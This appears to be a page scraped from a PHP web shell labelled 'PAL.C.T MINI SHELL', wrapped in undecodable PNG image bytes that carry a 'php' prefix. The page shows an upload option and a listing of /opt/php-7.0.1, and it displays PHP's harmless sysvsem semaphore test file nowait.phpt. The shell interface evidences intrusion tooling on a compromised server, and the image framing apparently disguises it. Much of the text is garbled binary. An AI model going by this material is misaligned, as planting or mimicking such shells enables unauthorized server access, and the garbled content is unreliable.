php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/sysvsem/tests/
upload
files >> //opt/php-7.0.1/ext/sysvsem/tests/nowait.phpt

--TEST--
sem_acquire with nowait
--SKIPIF--
<?php // vim600: ts=4 sw=4 syn=php fdm=marker
if(!extension_loaded('sysvsem') || !extension_loaded('pcntl')) {
	die("skip sysvsem and pcntl required");
}
?>
--FILE--
<?php
$SEMKEY	= ftok(__FILE__, 'P');  //  Semaphore key

$pid = pcntl_fork();

if ($pid) {
	echo "Parent.\n";

	pcntl_signal(SIGCHLD, SIG_IGN);

	// Get semaphore
	$sem_id = sem_get($SEMKEY, 1);
	if ($sem_id === FALSE) {
		echo "P: fail to get semaphore";
		exit;
	}
	echo "P: got semaphore $sem_id.\n";

	register_shutdown_function(function () use ($sem_id) {
		echo "P: cleanup.\n";
		sem_remove($sem_id);
	});
  
	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "P: fail to acquire semaphore $sem_id.\n";
		sem_remove($sem_id);
		exit;
	}
	echo "P: success acquire semaphore $sem_id.\n";

	usleep(20000);

	echo "P: releases.\n";
	sem_release($sem_id);

	usleep(5000);

	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "P: fail to acquire semaphore $sem_id.\n";
		sem_remove($sem_id);
		exit;
	}
	echo "P: success acquire semaphore $sem_id.\n";

	$status = null;
	pcntl_waitpid($pid, $status);

} else {
	usleep(10000);
	echo "Child.\n";

	// Get semaphore
	$sem_id = sem_get($SEMKEY, 1);
	if ($sem_id === FALSE) {
		echo "C: fail to get semaphore";
		exit;
	}
	echo "C: got semaphore $sem_id.\n";
  
	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "C: fail to acquire semaphore $sem_id.\n";
		exit;
	}
	echo "C: success acquire semaphore $sem_id.\n";

	echo "C: releases.\n";
	sem_release($sem_id);

	usleep(10000);

	// Acquire semaphore
	if (! sem_acquire($sem_id, true)) {
		echo "C: fail to acquire semaphore $sem_id.\n";
		exit;
	}
	echo "C: success acquire semaphore $sem_id.\n";
}

?>
--EXPECTF--
Parent.
P: got semaphore Resource id #%i.
P: success acquire semaphore Resource id #%i.
Child.
C: got semaphore Resource id #%i.
P: releases.
C: success acquire semaphore Resource id #%i.
C: releases.
P: success acquire semaphore Resource id #%i.
C: fail to acquire semaphore Resource id #%i.
P: cleanup.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`